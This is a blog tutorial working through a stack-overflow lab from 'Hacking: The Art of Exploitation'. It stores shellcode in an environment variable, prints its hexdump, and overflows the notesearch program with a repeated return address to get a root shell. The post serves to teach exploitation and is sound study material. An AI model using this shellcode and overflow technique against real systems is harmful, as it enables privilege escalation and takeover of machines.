Getting Into the Environment and Moving On.

Environment Variables

Linux has what are known as environment variables.  You can see all of the environment variables on your machine by using the env command.  These are pieces of information that the OS uses in its operation.  If you want a detailed overview of environment variables, or anything else that has to do with Linux operation really, one of the best places to check is the Arch Linux forums.  Even if you’re not using Arch Linux their forums are an amazing resource for information about how Linux operates.

Short version is that we can store a piece of data in an environment variable and call it later.  You store a variable using the following syntax.

$ export VAR=Value

You can then check your variable by using:

$ echo $VAR

The $ sign is important as that calls the value of VAR.

Great, so?

We can store information into environment variables.  Which means we can possibly store larger pieces of information that won’t fit in our buffer.  But we need a way to access that variables information.  That is where the C standard library comes in.  If you haven’t noticed yet C has a lot of built in interaction with Linux.  There is a function called getenv() in the C standard library that will get the memory address of an environment variable.  Which is a much smaller piece of information to inject into a program.

As a side note I’m going to start including the links to the documentation for the functions we are discussing.  It’s a good habit to start looking up what the functions do rather than just take my short descriptions.  The documentation has its own style and the more you get used to it the easier it is to read.  Also when we get to where we are going to write our own exploits, reverse engineering, etc there will won’t be anyone saying “here use this function here is what it does”.

In Practice.

Following along with HTAE we can take the shellcode from exploit_notesearch.c and save it in an environment variable.  The easiest way to go about that is to use some built in Linux commands.  Specifically head, grep, cut, pipes, and output redirection. Ultimately how the commands are going to work is as follows: head will take the first part of the program and send it to grep which will filter based on the arguments we pass to it. Cut will then strip away the pieces we don’t want from the grep output. Redirection will then send that output into a file. All of this will be accomplished in a shell script we input on the command line.

exploit@32:~/Hacking/Programming$ for i in $(head exploit_notesearch.c | grep "^\"" | 
cut -d\" -f2)
> do
> echo -en $i
> done > shellcode.bin
exploit@32:~/Hacking/Programming$ hexdump -C shellcode.bin
00000000  31 c0 31 db 31 c9 99 b0  a4 cd 80 6a 0b 58 51 68  |1.1.1......j.XQh|
00000010  2f 2f 73 68 68 2f 62 69  6e 89 e3 51 89 e2 53 89  |//shh/bin..Q..S.|
00000020  e1 cd 80                                          |...|
00000023

This is directly out of HTAE. We will do a more detailed of hexdump next post. But as you can see we copied the shellcode into a .bin file that we will use to build our nop sled/shellcode environment variable. To do that we use the following:

echo $SHELLCODE
����������������������������������������������������������������������������
����������������������������������������������������������������������������
������������������������������������������������1�1�1ə��̀j
                                                 XQh//shh/bin��Q��S��̀

The shellcode that was originally in our exploit_notesearch.c program is now loaded into an environment variable.

Its Easier Using getenv()

We can accomplish this exploit using the getenv() function on the SHELLCODE variable.  It will tell us the exact location of the SHELLCODE variable in memory.

$ ./a.out SHELLCODE
SHELLCODE is at 0xbffff477
$ ./notesearch $(perl -e 'print "\x77\xf4\xff\xbf"x29')
-------[ end of note data ]-------
# 

Notice that the offset in my perl script is different than the book. I basically just had to play around with the offset until I got one that worked.

Conclusion

That is about all the time I’m going to spend going over stack overflows from HTAE.  If you have the book you know that there are a few things that I didn’t cover in this section.  There are a few reasons I’m going to skip the other parts and jump to the heap overflow section next time.

First:  We have gone over the ideas of what happens in a stack overflow and seen the outcome of a few.  We have talked about it enough that I feel like going over what I skipped won’t be any more illuminating on the subject.

Second:  The amount of work involved in making these exploits work is informative and worth doing.  However we have done the work in making the exploits function and we have seen how to get around the modern security features.  If you are able to turn those features off so you can use these attacks then you already have root access and don’t need these exploits.  So the time/benefit factor of grinding through the same activities over and over again is not going to weigh in on the side of benefit.

Lastly:  We will see these exploits again.  There are modern techniques to exploit memory.  After we finish two more chapters of HTAE we are going to move to a book that is a few years more recent and explores more than just the Linux environment.

 

 

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s